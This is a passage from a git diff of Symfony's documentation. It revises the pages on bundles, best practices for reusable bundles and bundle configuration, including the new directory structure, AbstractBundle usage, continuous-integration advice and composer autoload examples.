https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software) .. _`Webpack`: https://webpack.js.org/ +.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html#data-providers diff --git a/bundles.rst b/bundles.rst index bf5a144d4ce..3e590a4e2aa 100644 --- a/bundles.rst +++ b/bundles.rst @@ -1,20 +1,17 @@ -.. index:: - single: Bundles - .. _page-creation-bundles: The Bundle System ================= -.. caution:: +.. warning:: In Symfony versions prior to 4.0, it was recommended to organize your own - application code using bundles. This is no longer recommended and bundles + application code using bundles. This is :ref:`no longer recommended <best-practice-no-application-bundles>` and bundles should only be used to share code and features between multiple applications. A bundle is similar to a plugin in other software, but even better. The core features of Symfony framework are implemented with bundles (FrameworkBundle, -SecurityBundle, DebugBundle, etc.) They are also used to add new features in +SecurityBundle, DebugBundle, etc.) Bundles are also used to add new features in your application via `third-party bundles`_. Bundles used in your applications must be enabled per @@ -25,14 +22,15 @@ file:: return [ // 'all' means that the bundle is enabled for any Symfony environment Symfony\Bundle\FrameworkBundle\FrameworkBundle::class => ['all' => true], - Symfony\Bundle\SecurityBundle\SecurityBundle::class => ['all' => true], - Symfony\Bundle\TwigBundle\TwigBundle::class => ['all' => true], - Symfony\Bundle\MonologBundle\MonologBundle::class => ['all' => true], - Symfony\Bundle\SwiftmailerBundle\SwiftmailerBundle::class => ['all' => true], - Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true], - Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle::class => ['all' => true], + // ... + + // this bundle is enabled only in 'dev' + Symfony\Bundle\DebugBundle\DebugBundle::class => ['dev' => true], + // ... + // this bundle is enabled only in 'dev' and 'test', so you can't use it in 'prod' Symfony\Bundle\WebProfilerBundle\WebProfilerBundle::class => ['dev' => true, 'test' => true], + // ... ]; .. tip:: @@ -44,29 +42,33 @@ file:: Creating a Bundle ----------------- -This section creates and enables a new bundle to show there are only a few steps required. -The new bundle is called AcmeTestBundle, where the ``Acme`` portion is an example +This section creates and enables a new bundle to show that only a few steps are required. +The new bundle is called AcmeBlogBundle, where the ``Acme`` portion is an example name that should be replaced by some "vendor" name that represents you or your -organization (e.g. ABCTestBundle for some company named ``ABC``). +organization (e.g. AbcBlogBundle for some company named ``Abc``). -Start by creating a ``src/Acme/TestBundle/`` directory and adding a new file -called ``AcmeTestBundle.php``:: +Start by creating a new class called ``AcmeBlogBundle``:: - // src/Acme/TestBundle/AcmeTestBundle.php - namespace App\Acme\TestBundle; + // src/AcmeBlogBundle.php + namespace Acme\BlogBundle; - use Symfony\Component\HttpKernel\Bundle\Bundle; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; - class AcmeTestBundle extends Bundle + class AcmeBlogBundle extends AbstractBundle { } +.. warning:: + + If your bundle must be compatible with previous Symfony versions you have to + extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead. + .. tip:: - The name AcmeTestBundle follows the standard + The name AcmeBlogBundle follows the standard :ref:`Bundle naming conventions <bundles-naming-conventions>`. You could - also choose to shorten the name of the bundle to simply TestBundle by naming - this class TestBundle (and naming the file ``TestBundle.php``). + also choose to shorten the name of the bundle to simply BlogBundle by naming + this class BlogBundle (and naming the file ``BlogBundle.php``). This empty class is the only piece you need to create the new bundle. Though commonly empty, this class is powerful and can be used to customize the behavior @@ -75,10 +77,12 @@ of the bundle. Now that you've created the bundle, enable it:: // config/bundles.php return [ // ... - App\Acme\TestBundle\AcmeTestBundle::class => ['all' => true], + Acme\BlogBundle\AcmeBlogBundle::class => ['all' => true], ]; -And while it doesn't do anything yet, AcmeTestBundle is now ready to be used. +And while it doesn't do anything yet, AcmeBlogBundle is now ready to be used. + +.. _bundles-directory-structure: Bundle Directory Structure -------------------------- @@ -87,35 +91,71 @@ The directory structure of a bundle is meant to help to keep code consistent between all Symfony bundles. It follows a set of conventions, but is flexible to be adjusted if needed: -``Controller/`` - Contains the controllers of the bundle (e.g. ``RandomController.php``). +``assets/`` + Contains the web asset sources like JavaScript and TypeScript files, CSS and + Sass files, but also images and other assets related to the bundle that are + not in ``public/`` (e.g. Stimulus controllers). -``DependencyInjection/`` - Holds certain Dependency Injection Extension classes, which may import service - configuration, register compiler passes or more (this directory is not - necessary). +``config/`` + Houses configuration, including routing configuration (e.g. ``routes.php``). -``Resources/config/`` - Houses configuration, including routing configuration (e.g. ``routing.yaml``). +``public/`` + Contains web assets (images, compiled CSS and JavaScript files, etc.) and is + copied or symbolically linked into the project ``public/`` directory via the + ``assets:install`` console command. -``Resources/views/`` - Holds templates organized by controller name (e.g. ``Random/index.html.twig``). +``src/`` + Contains all PHP classes related to the bundle logic (e.g. ``Controller/CategoryController.php``). -``Resources/public/`` - Contains web assets (images, stylesheets, etc) and is copied or symbolically - linked into the project ``public/`` directory via the ``assets:install`` console - command. +``templates/`` + Holds templates organized by controller name (e.g. ``category/show.html.twig``). -``Tests/`` +``tests/`` Holds all tests for the bundle. -A bundle can be as small or large as the feature it implements. It contains -only the files you need and nothing else. +``translations/`` + Holds translations organized by domain and locale (e.g. ``AcmeBlogBundle.en.xlf``). + +.. _bundles-legacy-directory-structure: + +.. warning:: + + The recommended bundle structure was changed in Symfony 5, read the + `Symfony 4.4 bundle documentation`_ for information about the old + structure. + + When using the new ``AbstractBundle`` class, the bundle defaults to the + new structure. Override the ``Bundle::getPath()`` method to change to + the old structure:: + + class AcmeBlogBundle extends AbstractBundle + { + public function getPath(): string + { + return __DIR__; + } + } + +.. tip:: -As you move through the guides, you'll learn how to persist objects to a -database, create and validate forms, create translations for your application, -write tests and much more. Each of these has their own place and role within -the bundle. + It's recommended to use the `PSR-4`_ autoload standard: use the namespace as key, + and the location of the bundle's main class (relative to ``composer.json``) + as value. As the main class is located in the ``src/`` directory of the bundle: + + .. code-block:: json + + { + "autoload": { + "psr-4": { + "Acme\\BlogBundle\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "Acme\\BlogBundle\\Tests\\": "tests/" + } + } + } Learn more ---------- @@ -127,3 +167,5 @@ Learn more * :doc:`/bundles/prepend_extension` .. _`third-party bundles`: https://github.com/search?q=topic%3Asymfony-bundle&type=Repositories +.. _`Symfony 4.4 bundle documentation`: https://symfony.com/doc/4.4/bundles.html#bundle-directory-structure +.. _`PSR-4`: https://www.php-fig.org/psr/psr-4/ diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst index e80050e2fce..34bf24308ef 100644 --- a/bundles/best_practices.rst +++ b/bundles/best_practices.rst @@ -1,6 +1,3 @@ -.. index:: - single: Bundle; Best practices - Best Practices for Reusable Bundles =================================== @@ -9,9 +6,6 @@ configurable and extendable. Reusable bundles are those meant to be shared privately across many company projects or publicly so any Symfony project can install them. -.. index:: - pair: Bundle; Naming conventions - .. _bundles-naming-conventions: Bundle Name @@ -22,8 +16,9 @@ interoperability standard for PHP namespaces and class names: it starts with a vendor segment, followed by zero or more category segments, and it ends with the namespace short name, which must end with ``Bundle``. -A namespace becomes a bundle as soon as you add a bundle class to it. The -bundle class name must follow these rules: +A namespace becomes a bundle as soon as you add "a bundle class" to it (which is +a class that extends :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`). +The bundle class name must follow these rules: * Use only alphanumeric characters and underscores; * Use a StudlyCaps name (i.e. camelCase with an uppercase first letter); @@ -63,35 +58,54 @@ configuration options (see below for some usage examples). Directory Structure ------------------- -The basic directory structure of an AcmeBlogBundle must read as follows: +The following is the recommended directory structure of an AcmeBlogBundle: .. code-block:: text <your-bundle>/ - ├─ AcmeBlogBundle.php - ├─ Controller/ - ├─ README.md - ├─ LICENSE - ├─ Resources/ - │ ├─ config/ - │ ├─ doc/ - │ │ └─ index.rst - │ ├─ translations/ - │ ├─ views/ - │ └─ public/ - └─ Tests/ + ├── assets/ + ├── config/ + ├── docs/ + │ └─ index.md + ├── public/ + ├── src/ + │ ├── Controller/ + │ ├── DependencyInjection/ + │ └── AcmeBlogBundle.php + ├── templates/ + ├── tests/ + ├── translations/ + ├── LICENSE + └── README.md + +.. note:: + + This directory structure is used by default when your bundle class extends + the recommended :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`. + If your bundle extends the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` + class, you have to override the ``getPath()`` method as follows:: + + use Symfony\Component\HttpKernel\Bundle\Bundle; + + class AcmeBlogBundle extends Bundle + { + public function getPath(): string + { + return \dirname(__DIR__); + } + } **The following files are mandatory**, because they ensure a structure convention that automated tools can rely on: -* ``AcmeBlogBundle.php``: This is the class that transforms a plain directory +* ``src/AcmeBlogBundle.php``: This is the class that transforms a plain directory into a Symfony bundle (change this to your bundle's name); * ``README.md``: This file contains the basic description of the bundle and it usually shows some basic examples and links to its full documentation (it can use any of the markup formats supported by GitHub, such as ``README.rst``); * ``LICENSE``: The full contents of the license used by the code. Most third-party bundles are published under the MIT license, but you can `choose any license`_; -* ``Resources/doc/index.rst``: The root file for the Bundle documentation. +* ``docs/index.md``: The root file for the Bundle documentation. The depth of subdirectories should be kept to a minimum for the most used classes and files. Two levels is the maximum. @@ -107,19 +121,20 @@ and others are just conventions followed by most developers): =================================================== ======================================== Type Directory =================================================== ======================================== -Commands ``Command/`` -Controllers ``Controller/`` -Service Container Extensions ``DependencyInjection/`` -Doctrine ORM entities (when not using annotations) ``Entity/`` -Doctrine ODM documents (when not using annotations) ``Document/`` -Event Listeners ``EventListener/`` -Configuration (routes, services, etc.) ``Resources/config/`` -Web Assets (CSS, JS, images) ``Resources/public/`` -Translation files ``Resources/translations/`` -Validation (when not using annotations) ``Resources/config/validation/`` -Serialization (when not using annotations) ``Resources/config/serialization/`` -Templates ``Resources/views/`` -Unit and Functional Tests ``Tests/`` +Commands ``src/Command/`` +Controllers ``src/Controller/`` +Service Container Extensions ``src/DependencyInjection/`` +Doctrine ORM entities ``src/Entity/`` +Doctrine ODM documents ``src/Document/`` +Event Listeners ``src/EventListener/`` +Configuration (routes, services, etc.) ``config/`` +Web Assets (compiled CSS and JS, images) ``public/`` +Web Asset sources (``.scss``, ``.ts``, Stimulus) ``assets/`` +Translation files ``translations/`` +Validation (when not using attributes) ``config/validation/`` +Serialization (when not using attributes) ``config/serialization/`` +Templates ``templates/`` +Unit and Functional Tests ``tests/`` =================================================== ======================================== Classes @@ -127,7 +142,7 @@ Classes The bundle directory structure is used as the namespace hierarchy. For instance, a ``ContentController`` controller which is stored in -``Acme/BlogBundle/Controller/ContentController.php`` would have the fully +``src/Controller/ContentController.php`` would have the fully qualified class name of ``Acme\BlogBundle\Controller\ContentController``. All classes and files must follow the :doc:`Symfony coding standards </contributing/code/standards>`. @@ -149,11 +164,20 @@ standard Symfony autoloading instead. A bundle should also not embed third-party libraries written in JavaScript, CSS or any other language. +Doctrine Entities/Documents +--------------------------- + +If the bundle includes Doctrine ORM entities and/or ODM documents, it's +recommended to define their mapping using XML files stored in +``config/doctrine/``. This allows to override that mapping using the +:doc:`standard Symfony mechanism to override bundle parts </bundles/override>`. +This is not possible when using attributes to define the mapping. + Tests ----- A bundle should come with a test suite written with PHPUnit and stored under -the ``Tests/`` directory. Tests should follow the following principles: +the ``tests/`` directory. Tests should follow the following principles: * The test suite must be executable with a simple ``phpunit`` command run from a sample application; @@ -164,80 +188,68 @@ the ``Tests/`` directory. Tests should follow the following principles: .. note:: A test suite must not contain ``AllTests.php`` scripts, but must rely on the - existence of a ``phpunit.xml.dist`` file. + existence of a ``phpunit.dist.xml`` file. Continuous Integration ---------------------- Testing bundle code continuously, including all its commits and pull requests, is a good practice called Continuous Integration. There are several services -providing this feature for free for open source projects. The most popular -service for Symfony bundles is called `Travis CI`_. - -Here is the recommended configuration file (``.travis.yml``) for Symfony bundles, -which test the two latest :doc:`LTS versions </contributing/community/releases>` -of Symfony and the latest beta release: - -.. code-block:: yaml - - language: php - - cache: - directories: - - $HOME/.composer/cache/files - - $HOME/symfony-bridge/.phpunit - - env: - global: - - PHPUNIT_FLAGS="-v" - - SYMFONY_PHPUNIT_DIR="$HOME/symfony-bridge/.phpunit" - - matrix: - fast_finish: true - include: - # Minimum supported dependencies with the latest and oldest PHP version - - php: 7.2 - env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" SYMFONY_DEPRECATIONS_HELPER="max[self]=0" - - php: 7.1 - env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" SYMFONY_DEPRECATIONS_HELPER="max[self]=0" - - # Test the latest stable release - - php: 7.1 - - php: 7.2 - env: COVERAGE=true PHPUNIT_FLAGS="-v --coverage-text" - - # Test LTS versions. This makes sure we do not use Symfony packages with version greater - # than 2 or 3 respectively. Read more at https://github.com/symfony/lts - - php: 7.2 - env: DEPENDENCIES="symfony/lts:^2" - - php: 7.2 - env: DEPENDENCIES="symfony/lts:^3" - - # Latest commit to master - - php: 7.2 - env: STABILITY="dev" - - allow_failures: - # Dev-master is allowed to fail. - - env: STABILITY="dev" - - before_install: - - if [[ $COVERAGE != true ]]; then phpenv config-rm xdebug.ini || true; fi - - if ! [ -z "$STABILITY" ]; then composer config minimum-stability ${STABILITY}; fi; - - if ! [ -v "$DEPENDENCIES" ]; then composer require --no-update ${DEPENDENCIES}; fi; - - install: - - composer update ${COMPOSER_FLAGS} --prefer-dist --no-interaction - - ./vendor/bin/simple-phpunit install - - script: - - composer validate --strict --no-check-lock - # simple-phpunit is the PHPUnit wrapper provided by the PHPUnit Bridge component and - # it helps with testing legacy code and deprecations (composer require symfony/phpunit-bridge) - - ./vendor/bin/simple-phpunit $PHPUNIT_FLAGS - -Consider using the `Travis cron`_ tool to make sure your project is built even if -there are no new pull requests or commits. +providing this feature for free for open source projects, like `GitHub Actions`_. + +A bundle should at least test: + +* The lower bound of their dependencies (by running ``composer update --prefer-lowest``); +* The supported PHP versions; +* All supported major Symfony versions (e.g. both ``6.4`` and ``7.x`` if + support is claimed for both). + +Thus, a bundle supporting PHP 7.4, 8.3 and 8.4, and Symfony 6.4 and 7.x should +have at least this test matrix: + +=========== =============== =================== +PHP version Symfony version Composer flags +=========== =============== =================== +7.4 ``6.4`` ``--prefer-lowest`` +8.3 ``7.*`` +8.4 ``7.*`` +=========== =============== =================== + +.. tip:: + + The tests should be run with the ``SYMFONY_DEPRECATIONS_HELPER`` + env variable set to ``max[direct]=0``. This ensures no code in the + bundle uses deprecated features directly. + + The lowest dependency tests can be run with this variable set to + ``disabled=1``. + +Require a Specific Symfony Version +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can use the special ``SYMFONY_REQUIRE`` environment variable together +with Symfony Flex to install a specific Symfony version: + +.. code-block:: bash + + # this requires Symfony 7.x for all Symfony packages + export SYMFONY_REQUIRE=7.* + # alternatively you can run this command to update composer.json config + # composer config extra.symfony.require "7.*" + + # install Symfony Flex in the CI environment + composer global config --no-plugins allow-plugins.symfony/flex true + composer global require --no-progress --no-scripts --no-plugins symfony/flex + + # install the dependencies (using --prefer-dist and --no-progress is + # recommended to have a better output and faster download time) + composer update --prefer-dist --no-progress + +.. warning:: + + If you want to cache your Composer dependencies, **do not** cache the + ``vendor/`` directory as this has side-effects. Instead cache + ``$HOME/.composer/cache/files``. Installation ------------ @@ -254,10 +266,10 @@ Documentation All classes and functions must come with full PHPDoc. -Extensive documentation should also be provided in the ``Resources/doc/`` +Extensive documentation should also be provided in the ``docs/`` directory. -The index file (for example ``Resources/doc/index.rst`` or -``Resources/doc/index.md``) is the only mandatory file and must be the entry +The index file (for example ``docs/index.rst`` or +``docs/index.md``) is the only mandatory file and must be the entry point for the documentation. The :doc:`reStructuredText (rST) </contributing/documentation/format>` is the format used to render the documentation on the Symfony website. @@ -285,7 +297,7 @@ following standardized instructions in your ``README.md`` file. Open a command console, enter your project directory and execute: ```console - $ composer require <package-name> + composer require <package-name> ``` Applications that don't use Symfony Flex @@ -297,7 +309,7 @@ following standardized instructions in your ``README.md`` file. following command to download the latest stable version of this bundle: ```console - $ composer require <package-name> + composer require <package-name> ``` ### Step 2: Enable the Bundle @@ -326,9 +338,9 @@ following standardized instructions in your ``README.md`` file. Open a command console, enter your project directory and execute: - .. code-block:: bash + .. code-block:: terminal - $ composer require <package-name> + composer require <package-name> Applications that don't use Symfony Flex ---------------------------------------- @@ -341,7 +353,7 @@ following standardized instructions in your ``README.md`` file. .. code-block:: terminal - $ composer require <package-name> + composer require <package-name> Step 2: Enable the Bundle ~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -384,10 +396,14 @@ Translation Files ----------------- If a bundle provides message translations, they must be defined in the XLIFF -format; the domain should be named after the bundle name (``acme_blog``). +format; the domain should be named after the bundle name (``AcmeBlog``). A bundle must not override existing messages from another bundle. +The translation domain must match the translation file names. For example, +if the translation domain is ``AcmeBlog``, the English translation file name +should be ``AcmeBlog.en.xlf``. + Configuration ------------- @@ -418,8 +434,8 @@ The end user can provide values in any configuration file: <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - + https://symfony.com/schema/dic/services/services-1.0.xsd" + > <parameters> <parameter key="acme_blog.author.email">fabien@example.com</parameter> </parameters> @@ -429,7 +445,13 @@ The end user can provide values in any configuration file: .. code-block:: php // config/services.php - $container->setParameter('acme_blog.author.email', 'fabien@example.com'); + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return static function (ContainerConfigurator $container): void { + $container->parameters() + ->set('acme_blog.author.email', 'fabien@example.com') + ; + }; Retrieve the configuration parameters in your code from the container:: @@ -463,6 +485,13 @@ can be used for autowiring. Services should not use autowiring or autoconfiguration. Instead, all services should be defined explicitly. +.. tip:: + + If there is no intention for the service id to be used by the end user, you can + mark it as *hidden* by prefixing it with a dot (e.g. ``.acme_blog.logger``). + This prevents the service from being listed in the default ``debug:container`` + command output. + .. seealso:: You can learn much more about service loading in bundles reading this article: @@ -477,7 +506,7 @@ The ``composer.json`` file should include at least the following metadata: Consists of the vendor and the short bundle name. If you are releasing the bundle on your own instead of on behalf of a company, use your personal name (e.g. ``johnsmith/blog-bundle``). Exclude the vendor name from the bundle - short name and separate each word with an hyphen. For example: AcmeBlogBundle + short name and separate each word with a hyphen. For example: AcmeBlogBundle is transformed into ``blog-bundle`` and AcmeSocialConnectBundle is transformed into ``social-connect-bundle``. @@ -494,10 +523,22 @@ The ``composer.json`` file should include at least the following metadata: This information is used by Symfony to load the classes of the bundle. It's recommended to use the `PSR-4`_ autoload standard: use the namespace as key, and the location of the bundle's main class (relative to ``composer.json``) - as value. For example, if the main class is located in the bundle root - directory: ``"autoload": { "psr-4": { "SomeVendor\\BlogBundle\\": "" } }``. - If the main class is located in the ``src/`` directory of the bundle: - ``"autoload": { "psr-4": { "SomeVendor\\BlogBundle\\": "src/" } }``. + as value. As the main class is located in the ``src/`` directory of the bundle: + + .. code-block:: json + + { + "autoload": { + "psr-4": { + "Acme\\BlogBundle\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "Acme\\BlogBundle\\Tests\\": "tests/" + } + } + } In order to make it easier for developers to find your bundle, register it on `Packagist`_, the official repository for Composer packages. @@ -506,22 +547,19 @@ Resources --------- If the bundle references any resources (config files, translation files, etc.), -don't use physical paths (e.g. ``__DIR__/config/services.xml``) but logical -paths (e.g. ``@FooBundle/Resources/config/services.xml``). - -The logical paths are required because of the bundle overriding mechanism that -lets you override any resource/file of any bundle. See :ref:`http-kernel-resource-locator` -for more details about transforming physical paths into logical paths. +you can use physical paths (e.g. ``__DIR__/config/services.xml``). -Beware that templates use a simplified version of the logical path shown above. -For example, an ``index.html.twig`` template located in the ``Resources/views/Default/`` -directory of the FooBundle, is referenced as ``@Foo/Default/index.html.twig``. +In the past, we recommended to only use logical paths (e.g. +``@AcmeBlogBundle/config/services.xml``) and resolve them with the +:ref:`resource locator <http-kernel-resource-locator>` provided by the Symfony +kernel, but this is no longer a recommended practice. Learn more ---------- * :doc:`/bundles/extension` * :doc:`/bundles/configuration` +* :doc:`/frontend/create_ux_bundle` .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/ .. _`Symfony Flex recipe`: https://github.com/symfony/recipes @@ -529,5 +567,4 @@ Learn more .. _`Packagist`: https://packagist.org/ .. _`choose any license`: https://choosealicense.com/ .. _`valid license identifier`: https://spdx.org/licenses/ -.. _`Travis CI`: https://travis-ci.org/ -.. _`Travis cron`: https://docs.travis-ci.com/user/cron-jobs/ +.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions diff --git a/bundles/configuration.rst b/bundles/configuration.rst index c24d076da14..dedfada2ea2 100644 --- a/bundles/configuration.rst +++ b/bundles/configuration.rst @@ -1,7 +1,3 @@ -.. index:: - single: Configuration; Semantic - single: Bundle; Extension configuration - How to Create Friendly Configuration for a Bundle ================================================= @@ -20,19 +16,22 @@ as integration of other related components: .. code-block:: yaml + # config/packages/framework.yaml framework: form: true .. code-block:: xml + <!-- config/packages/framework.xml --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:framework="http://symfony.com/schema/dic/symfony" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > <framework:config> <framework:form/> </framework:config> @@ -40,15 +39,117 @@ as integration of other related components: .. code-block:: php - $container->loadFromExtension('framework', [ - 'form' => true, - ]); + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->form()->enabled(true); + }; + +There are two different ways of creating friendly configuration for a bundle: + +#. :ref:`Using the main bundle class <bundle-friendly-config-bundle-class>`: + this is recommended for new bundles and for bundles following the + :ref:`recommended directory structure <bundles-directory-structure>`; +#. :ref:`Using the Bundle extension class <bundle-friendly-config-extension>`: + this was the traditional way of doing it, but nowadays it's only recommended for + bundles following the :ref:`legacy directory structure <bundles-legacy-directory-structure>`. + +.. _using-the-bundle-class: +.. _bundle-friendly-config-bundle-class: + +Using the AbstractBundle Class +------------------------------ + +In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` +class, you can add all the logic related to processing the configuration in that class:: + + // src/AcmeSocialBundle.php + namespace Acme\SocialBundle; + + use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator; + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; + + class AcmeSocialBundle extends AbstractBundle + { + public function configure(DefinitionConfigurator $definition): void + { + $definition->rootNode() + ->children() + ->arrayNode('twitter') + ->children() + ->integerNode('client_id')->end() + ->scalarNode('client_secret')->end() + ->end() + ->end() // twitter + ->end() + ; + } + + public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void + { + // the "$config" variable is already merged and processed so you can + // use it directly to configure the service container (when defining an + // extension class, you also have to do this merging and processing) + $container->services() + ->get('acme_social.twitter_client') + ->arg(0, $config['twitter']['client_id']) + ->arg(1, $config['twitter']['client_secret']) + ; + } + } + +.. note:: + + The ``configure()`` and ``loadExtension()`` methods are called only at compile time. + +.. tip:: + + The ``AbstractBundle::configure()`` method also allows to import the + configuration definition from one or more files:: + + // src/AcmeSocialBundle.php + namespace Acme\SocialBundle; + + // ... + class AcmeSocialBundle extends AbstractBundle + { + public function configure(DefinitionConfigurator $definition): void + { + $definition->import('../config/definition.php'); + // you can also use glob patterns + //$definition->import('../config/definition/*.php'); + } + + // ... + } + + .. code-block:: php + + // config/definition.php + use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator; + + return static function (DefinitionConfigurator $definition): void { + $definition->rootNode() + ->children() + ->scalarNode('foo')->defaultValue('bar')->end() + ->end() + ; + }; + +.. _bundle-friendly-config-extension: Using the Bundle Extension -------------------------- +This is the traditional way of creating friendly configuration for bundles. For new +bundles it's recommended to :ref:`use the main bundle class <bundle-friendly-config-bundle-class>`, +but the traditional way of creating an extension class still works. + Imagine you are creating a new bundle - AcmeSocialBundle - which provides -integration with Twitter. To make your bundle configurable to the user, you +integration with X/Twitter. To make your bundle configurable to the user, you can add some configuration that looks like this: .. configuration-block:: @@ -64,29 +165,30 @@ can add some configuration that looks like this: .. code-block:: xml <!-- config/packages/acme_social.xml --> - <?xml version="1.0" ?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:acme-social="http://example.org/schema/dic/acme_social" xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - + https://symfony.com/schema/dic/services/services-1.0.xsd" + > <acme-social:config> - <acme-social:twitter client-id="123" client-secret="your_secret"/> + <acme-social:twitter client-id="123" + client-secret="your_secret" + /> </acme-social:config> - - <!-- ... --> </container> .. code-block:: php // config/packages/acme_social.php - $container->loadFromExtension('acme_social', [ - 'twitter' => [ - 'client_id' => 123, - 'client_secret' => 'your_secret', - ], - ]); + use Symfony\Config\AcmeSocialConfig; + + return static function (AcmeSocialConfig $acmeSocial): void { + $acmeSocial->twitter() + ->clientId(123) + ->clientSecret('your_secret'); + }; The basic idea is that instead of having the user override individual parameters, you let the user configure just a few, specifically created, @@ -97,7 +199,7 @@ load correct services and parameters inside an "Extension" class. The root key of your bundle configuration (``acme_social`` in the previous example) is automatically determined from your bundle name (it's the - `snake case`_ of the bundle name without the ``Bundle`` suffix ). + `snake case`_ of the bundle name without the ``Bundle`` suffix). .. seealso:: @@ -107,7 +209,7 @@ load correct services and parameters inside an "Extension" class. If a bundle provides an Extension class, then you should *not* generally override any service container parameters from that bundle. The idea - is that if an Extension class is present, every setting that should be + is that if an extension class is present, every setting that should be configurable should be present in the configuration made available by that class. In other words, the extension class defines all the public configuration settings for which backward compatibility will be maintained. @@ -172,7 +274,7 @@ of your bundle's configuration. The ``Configuration`` class to handle the sample configuration looks like:: - // src/Acme/SocialBundle/DependencyInjection/Configuration.php + // src/DependencyInjection/Configuration.php namespace Acme\SocialBundle\DependencyInjection; use Symfony\Component\Config\Definition\Builder\TreeBuilder; @@ -180,7 +282,7 @@ The ``Configuration`` class to handle the sample configuration looks like:: class Configuration implements ConfigurationInterface { - public function getConfigTreeBuilder() + public function getConfigTreeBuilder(): TreeBuilder { $treeBuilder = new TreeBuilder('acme_social'); @@ -213,8 +315,8 @@ This class can now be used in your ``load()`` method to merge configurations and force validation (e.g. if an additional option was passed, an exception will be thrown):: - // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php - public function load(array $configs, ContainerBuilder $container) + // src/DependencyInjection/AcmeSocialExtension.php + public function load(array $configs, ContainerBuilder $container): void { $configuration = new Configuration(); @@ -233,15 +335,15 @@ For example, imagine your bundle has the following example config: .. code-block:: xml - <!-- src/Acme/SocialBundle/Resources/config/services.xml --> + <!-- src/config/services.xml --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - + https://symfony.com/schema/dic/services/services-1.0.xsd" + > <services> - <service id="acme.social.twitter_client" class="Acme\SocialBundle\TwitterClient"> + <service id="acme_social.twitter_client" class="Acme\SocialBundle\TwitterClient"> <argument></argument> <!-- will be filled in with client_id dynamically --> <argument></argument> <!-- will be filled in with client_secret dynamically --> </service> @@ -250,13 +352,13 @@ For example, imagine your bundle has the following example config: In your extension, you can load this and dynamically set its arguments:: - // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php - // ... + // src/DependencyInjection/AcmeSocialExtension.php + namespace Acme\SocialBundle\DependencyInjection; use Symfony\Component\Config\FileLocator; use Symfony\Component\DependencyInjection\Loader\XmlFileLoader; - public function load(array $configs, ContainerBuilder $container) + public function load(array $configs, ContainerBuilder $container): void { $loader = new XmlFileLoader($container, new FileLocator(dirname(__DIR__).'/Resources/config')); $loader->load('services.xml'); @@ -264,7 +366,7 @@ In your extension, you can load this and dynamically set its arguments:: $configuration = new Configuration(); $config = $this->processConfiguration($configuration, $configs); - $definition = $container->getDefinition('acme.social.twitter_client'); + $definition = $container->getDefinition('acme_social.twitter_client'); $definition->replaceArgument(0, $config['twitter']['client_id']); $definition->replaceArgument(1, $config['twitter']['client_secret']); } @@ -276,7 +378,7 @@ In your extension, you can load this and dynamically set its arguments:: :class:`Symfony\\Component\\HttpKernel\\DependencyInjection\\ConfigurableExtension` to do this automatically for you:: - // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php + // src/DependencyInjection/HelloExtension.php namespace Acme\HelloBundle\DependencyInjection; use Symfony\Component\DependencyInjection\ContainerBuilder; @@ -285,7 +387,7 @@ In your extension, you can load this and dynamically set its arguments:: class AcmeHelloExtension extends ConfigurableExtension { // note that this method is called loadInternal and not load - protected function loadInternal(array $mergedConfig, ContainerBuilder $container) + protected function loadInternal(array $mergedConfig, ContainerBuilder $container): void { // ... } @@ -301,7 +403,7 @@ In your extension, you can load this and dynamically set its arguments:: (e.g. by overriding configurations and using :phpfunction:`isset` to check for the existence of a value). Be aware that it'll be very hard to support XML:: - public function load(array $configs, ContainerBuilder $container) + public function load(array $configs, 